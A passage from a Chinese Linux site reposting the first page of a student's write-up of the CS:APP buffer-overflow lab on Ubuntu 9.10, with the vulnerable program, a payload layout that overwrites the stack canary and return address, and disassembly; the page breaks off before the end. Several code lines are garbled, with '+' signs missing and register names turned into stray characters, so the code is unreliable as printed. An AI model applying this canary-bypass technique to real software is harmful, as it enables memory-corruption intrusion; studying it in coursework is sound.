首页 | 资讯动态 | linux基础 | 系统管理 | 网络管理 | 编程开发 | linux数据库 | 服务器技术 | linux相关 | linux认证 | 嵌入式 | 下载中心 | 专题 | linux招聘 | HR | 镜像
OKLinux中文技术站
·设为首页
·加入收藏
·联系我们
系统管理: 中文环境 系统管理 桌面应用 内核技术 | Linux基础: 基础入门 安装配置 常用命令 经验技巧 软件应用 | Linux数据库: Mysql Postgre Oracle DB2 Sybase other
网络管理: 网络安全 网络应用 Linux服务器 环境配置 黑客安全 | 编程开发: PHP CC++ Python Perl Shell 嵌入式开发 java jsp | PHP技术: PHP基础 PHP技巧 PHP应用 PHP文摘
搜索中心 Linux招聘 Linux专题 Apache | Linux相关: 硬件相关 Linux解决方案 Linux认证 企业应用 其它Unix | 相关下载: 资料下载 参考手册 开发工具 服务器类 软路由 其它
 技术搜索:
会员中心 注册会员 高级搜索  
  → 当前位置:首页>网络管理>网络安全>正文

Ubuntu 9.10环境下缓存区溢出攻击实验

http://www.oklinux.cn  2010-01-03  hi.baidu.com/wurmbai    会员收藏  游客收藏  【 】 
您查看的文章来源于http://www.oklinux.cn

环境:Ubuntu 9.10 kernel 2.6.31 gcc版本:4.4.1
这个是csapp 《深入理解计算机系统》的一道题,直接在原程序运行的时候实现缓存区溢出攻击已经不可能实现了,除非你是用的版本很低的内核和gcc,如gcc 3.4.3。

先是王珑珑同学做这道题,我也跟着做了下,花了挺长时间,这期间很感谢王珑珑同学的耐心讲解,thanks~~~

原题如下:
/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' 10;
else
val = c - 'a' 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp = otherd * 16 val;
even = 1;
}
}
}
*sp = '\0';
return dest;
}

/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}

void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{

int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}

正常时程序退出时总是返回1,现在要求通过缓存区溢出,让程序返回0xdeadbeef。
注:(由于现在gcc在代码汇编代码中添加了%gs的缓存区溢出验证机制,所以如果gcc的版本较高,本实验只能在gdb下完成)

下面的网址是王珑珑童鞋的实现方式,他的gcc版本是4.3.3:http://hi.baidu.com/featherain/blog/item/99207b4ede9b2cf3d62afc1e.html(通过在缓存区中植入一段攻击代码,然后让getbuf() ret到缓存区攻击代码出,最后让攻击代码返回text())。如果在gcc 4.4.1,4.3.2,3.4.3下用这种方法会报“段错误”(因为是从代码断跳转到了堆栈段)。

下面是实现缓存区溢出攻击的另一种方式。
输入:|任意十二个字符的编码||%gs:0x14||任意8个字符的编码||getbuf栈贞的基地 址||text()中第二个printf()的地址||01 00 00 00 ||71 87 04 08||ef be ad de|

下面解释为什么用输入上面哪些字符来实现缓存区溢出攻击。
用gcc编译生成buffbomb.c的可执行程序后,用objdump反汇编发现getbuf的函数如下:
080485c0 <getbuf>:
215 80485c0: 55 push 雙
216 80485c1: 89 e5 mov %esp,雙
217 80485c3: 83 ec 28 sub $0x28,%esp
218 80485c6: 65 a1 14 00 00 00 mov %gs:0x14,陎
219 80485cc: 89 45 f4 mov 陎,-0xc(雙)
220 80485cf: 31 c0 xor 陎,陎
221 80485d1: 8d 45 e8 lea -0x18(雙),陎
222 80485d4: 89 04 24 mov 陎,(%esp)
223 80485d7: e8 44 ff ff ff call 8048520 <getxs>
224 80485dc: b8 01 00 00 00 mov $0x1,陎
225 80485e1: 8b 55 f4 mov -0xc(雙),韝
226 80485e4: 65 33 15 14 00 00 00 xor %gs:0x14,韝
227 80485eb: 75 02 jne 80485ef <getbuf 0x2f>
228 80485ed: c9 leave
229 80485ee: c3 ret
230 80485ef: 90 nop
231 80485f0: e8 57 fe ff ff call 804844c <__stack_chk_fail@plt>
232 80485f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
233 80485f9: 8d bc 27 00 00 00 00 lea 0x0(韎,%eiz,1),韎

发现第217行:sub $0x28, %esp 即为getbuf()申请了40个字节的堆栈空间,我们申请的数组是从当前基址偏移24个字节开始的,负责检查缓存区溢出的%gs:0x14是从当前基址偏移12个字节开始的。
(注:4.4.1以前的版本char数组是从当前基址偏移16个字节处开始,负责检查缓存区溢出的%gs:0x14是从当前基址偏移4个字节开始的)

查看test()函数:
08048600 <test>:
236 8048600: 55 push 雙
237 8048601: 89 e5 mov %esp,雙
238 8048603: 83 ec 18 sub $0x18,%esp
239 8048606: c7 44 24 04 60 87 04 movl $0x8048760,0x4(%esp)
240 804860d: 08
241 804860e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
242 8048615: e8 f2 fd ff ff call 804840c <__printf_chk@plt>
243 804861a: e8 a1 ff ff ff call 80485c0 <getbuf>
244 804861f: c7 44 24 04 71 87 04 movl $0x8048771,0x4(%esp)
245 8048626: 08
246 8048627: c7 04 24 01 00 00 00 movl $0x1,(%esp)

共2页: 上一页 1 [2] 下一页

上一篇:PHP htmlspecialcharacters()畸形多字节字符跨站脚本漏洞   下一篇:Linux Kernel fuse_ioctl_copy_user()函数本地拒绝服务漏洞

收藏于收藏夹】 【评论】 【推荐】 【打印】 【关闭
相关文档
·PHP htmlspecialcharacters()畸形多字节字符跨站脚本
·Linux Kernel fuse_ioctl_copy_user()函数本地拒绝服
·Adobe Acrobat再曝0day漏洞 或导致计算机被远程控制
·Linux Kernel drivers/firewire/ohci.c空指针引用拒绝
·Intel可信执行技术SINIT ACM本地权限提升漏洞
·phpGroupWare多个输入验证漏洞
·分析称谷歌Chrome OS 将成黑客主要攻击对象
·PostgreSQL爆漏洞 Oracle家Sun忙修补
·系统安全:Windows与Linux平台
·DeluxeBB多个远程安全漏洞
·FreePBX多个跨站脚本和HTML注入漏洞
·奥巴马任命网络安全专家担任“网络沙皇”
·Linux Kernel ext4_decode_error函数空指针引用拒绝服
·Linux Kernel ext4_fill_flex_info函数拒绝服务漏洞
·Linux Kernel Ext4子系统ioctl本地权限提升漏洞
·Novell eDirectory Post Auth头远程溢出漏洞
发表评论
密码: 匿名评论
评论内容:

(不超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规)
 
  最新文档
·FreeBSD ZIL机制不安全文件权限漏洞
·Novell eDirectory Post Auth头远程溢
·Linux Kernel Ext4子系统ioctl本地权限
·Linux Kernel ext4_fill_flex_info函数
·Linux Kernel ext4_decode_error函数空
·奥巴马任命网络安全专家担任“网络沙皇
·FreePBX多个跨站脚本和HTML注入漏洞
·DeluxeBB多个远程安全漏洞
·系统安全:Windows与Linux平台
·PostgreSQL爆漏洞 Oracle家Sun忙修补
·分析称谷歌Chrome OS 将成黑客主要攻击
·phpGroupWare多个输入验证漏洞
  阅读排行
·Ubuntu中UFW防火墙的安装及使用
·Ubuntu里安装配置防火墙
·Linux下Sniffer工具Tcpdump的安装和使
·Ubuntu下轻松安装小红伞杀毒软件
·Ubuntu防火墙 UFW 设置简介
·SUSE Linux 默认的iptables防火墙配置
·Linux下破解路由器WEP加密
·Linux系统中的Passwd文件详细解析
·CentOS Linux关闭防火墙
·Linux下安装配置NTOP监视网络使用情况[
·Linux下配置ssh无密码登录
·Linux安全之网上惊现傻瓜型病毒制作工
·配置Linux 内核并利用iptables 做端口
·Linux 安全模块(LSM)简介
·我的SUSE Linux防火墙配置笔记
网摘收藏: